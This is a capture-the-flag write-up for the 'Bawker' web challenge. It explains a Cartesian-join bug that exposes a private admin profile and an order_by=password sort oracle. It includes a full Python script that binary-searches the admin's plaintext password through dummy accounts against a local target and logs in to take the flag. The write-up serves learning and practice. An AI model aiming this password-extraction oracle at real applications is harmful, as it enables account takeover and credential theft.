đźš© BlueHensCTF - Bawker

Executive Summary

  • OS: Linux
  • Key Technique: The challenge contains a logic flaw inside the /search/users endpoint where a missing join predicate in the WHERE-clause produces a Cartesian product of user x follow. By forcefully following the admin, this Cartesian join evaluates the visibility predicate (follow.following_id = user.id AND follow.follower_id = me) as true, exposing the private admin account in the search results. Furthermore, the endpoint inherits fastapi-filter’s sorting mechanism, which only guards parameters with hasattr(User, field). Because the backend intentionally strips hashed passwords during database migration and stores them in plaintext, an attacker can append ?order_by=password to weaponize the endpoint as a sort-order oracle. By automating a binary search with dummy accounts and padding the test strings to 33 characters to defeat SQLite’s native tie-breaker resolution, the attacker can fully exfiltrate the 32-character admin password and access the flag.
  • Status: Completed

Reconnaissance

Configurations

The checking through the configurations files, it seems like there are no vulnerable dependencies nor any mis-configurations. The vulnerability is inside the logic of the app.

First Look

center

The website is a simple post-sharing platform. Apparently, a user can create posts, search for posts and other users as well as changing their profile. There is no password-changing options in the UI.

The Application

The flag is stored inside the admin’s post inside the database.

center

Apparently, there are two places that we can use to read another user’s posts, that is the Feed and the Search Bawks tabs

center

center

However, it’s rather tricky in order to do so.

center

In order for a user to read another’s posts, the _bawk_visibility_condition() must return True for that user. The query used to dictate this condition is:

can_view_author = visible_user_condition(viewer_id)
can_view_private_bawk = follow_condition(viewer_id)
return or_(
	col(Bawk.author_id) == viewer_id,
	and_(
		can_view_author,
		or_(not_(col(Bawk.is_private)), can_view_private_bawk),
	),
)

In order to read a post, a user EITHER be reading their own post (col(Bawk.author_id) == viewer_id) - will be false if I read the admin’s post from my account - OR bothvisible_user_condition(viewer_id) AND can_view_private_bawk are True (since the admin’s post is private).

These these two functions are defined inside privacy.py as follows:

center

What this means is that both visible_user_condition and can_view_private_bawk will return True if I follow the admin and they follow me back.

However, this brings me a dead end, there is indeed an endpoint called /api/users/<user_id>/follow that is used to follow another user, however, this endpoint take in current use’s cookie in order to perform the deed. Following the admin is easy since we’re already know their ID, however, to make them follow us back required there to be an Admin bot sitting inside the challenge, waiting for us to trick it making the request, yet in this challenge, there is no such bot.

The challenge shows no sign of vulnerable of SQL Injection vulnerability.

Exploitation

Credential Exfiltration

Looking through the codebase again, we see that search users feature of the application is rather weird as it allow other user to see admin’s profile, despite the admin’s profile is set to is_private=True inside the database.

center

The query can be interpreted as SQL as follows:

SELECT User.*
FROM User, Follow  -- <-- THE CARTESIAN JOIN
WHERE (
    User.id = 1 -- 
    OR User.is_private = 0 -- <-- admin's is_private = 0 so it will also be visible
    OR (Follow.following_id = User.id AND Follow.follower_id = 1)
) 

Where 1 is the current user’s ID. This query essentially asks for either of these 3 conditions:

  • Condition 1: Are you the viewing yourself?

    • col(User.id) == viewer_id
    • We can always see ourselves in the list
  • Condition 2: Is the profile public?

    • not_(col(User.is_private))
    • We know from db.py that the Admin is explicitly created with is_private=True, not_(True) is False.
  • Condition 3: Do you follow them?

    • and_(col(Follow.following_id) == col(User.id), col(Follow.follower_id) == viewer_id,)
    • We only need to follow the admin in order to see them on the list!

center

The query is then sorted and filtered using a parameter called user_filter, it is defined as follows:

center

Based on the definition of UserFilter, the application does allow us to change the value of order_by parameter. By adding ?order_by=password to the URL, we can sort the found user profiles by the user’s password in ascending order. This allows us to know if a password of an account we created is before or after the admin’s password in lexicographic order, and we can find the admin’s password using binary search.

We know that the admin password has 32 characters, now suppose that we correctly guessed, say, the first 15 characters of the password. Let’s say the 16th character of the admin password (which we haven’t known yet) is admin_pass[15] = 'u' (ASCII code 117).

In order to find this character, we create a test password that has the first 15 characters matches the admin password’s, the 16th character will be a character test_char that we pick from the sorted character set charset = sorted(string.ascii_letters + string.digits) using the binary search rule (mid=(high+low)/2) and the rest of our password will be padded with ~ whose ASCII code is higher than the characters featured in the charset. This results in 3 possibilities:

center

Since both case 2 (the match) and case 3 in the image results in the admin profile appears first, we’ll only update the best found character if these events happens.

PoC

import requests  
import string  
import random  
import sys  
import re  
  
TARGET_URL = "http://localhost:1337"  
CHARSET = sorted(string.ascii_letters + string.digits + "{}_-!?@$")  
  
  
def register_and_check(test_password):  
    session = requests.Session()  
    username = "dummy_" + "".join(random.choices(string.ascii_lowercase, k=6))  
  
    session.post(f"{TARGET_URL}/auth/register", data={  
        "username": username,  
        "password": test_password,  
        "is_private": True  
    })  
  
    session.post(f"{TARGET_URL}/users/0/follow")  
  
    admin_page = -1  
    dummy_page = -1  
    admin_pos = -1  
    dummy_pos = -1  
  
    for page in range(1, 21):  
        resp = session.get(f"{TARGET_URL}/search/users?order_by=password&size=50&page={page}")  
        html = resp.text  
  
        if admin_page == -1:  
            pos = html.find("<h3>Admin</h3>")  
            if pos != -1:  
                admin_page = page  
                admin_pos = pos  
  
        if dummy_page == -1:  
            pos = html.find(f"<h3>{username}</h3>")  
            if pos != -1:  
                dummy_page = page  
                dummy_pos = pos  
  
        if admin_page != -1 and dummy_page != -1:  
            break  
  
    if admin_page == -1 or dummy_page == -1:  
        print(f"\n[-] Error: Could not find users in DOM.")  
        sys.exit(1)  
  
    if admin_page < dummy_page:  
        return True  
    elif admin_page > dummy_page:  
        return False  
    else:  
        return admin_pos < dummy_pos  
  
  
def extract_admin_pass():  
    extracted_password = ""  
  
    for i in range(32):  
        low = 0  
        high = len(CHARSET) - 1  
        best_char = CHARSET[-1]  
  
        while low <= high:  
            mid = (low + high) // 2  
            test_char = CHARSET[mid]  
              
            test_password = (extracted_password + test_char).ljust(33, '~')  
  
            if register_and_check(test_password):  
                best_char = test_char  
                high = mid - 1  
            else:  
                low = mid + 1  
  
        extracted_password += best_char  
        sys.stdout.write(f"\r[+] Found: {extracted_password}")  
        sys.stdout.flush()  
  
    print(f"\n\n[+] Admin Password Extracted: {extracted_password}")  
    return extracted_password  
  
def get_flag(extracted_password):  
    session = requests.Session()  
  
    login_data = {  
        "username": "admin",  
        "password": extracted_password  
    }  
  
    session.post(f"{TARGET_URL}/auth/login", data=login_data)  
  
    print("[*] Fetching Admin profile...")  
    profile_resp = session.get(f"{TARGET_URL}/profile")  
    flag_match = re.search(r'(UDCTF\{[^\}]+\})', profile_resp.text)  
  
    if flag_match:  
        print(f"\nFlag: {flag_match.group(1)}")  
    else:  
        print("[-] Error: Something is wrong")  
  
  
if __name__ == "__main__":  
    get_flag(extract_admin_pass())

Loot & Flags

Flag: UDCTF{1_f0rg0t_t0_s4v3_1t}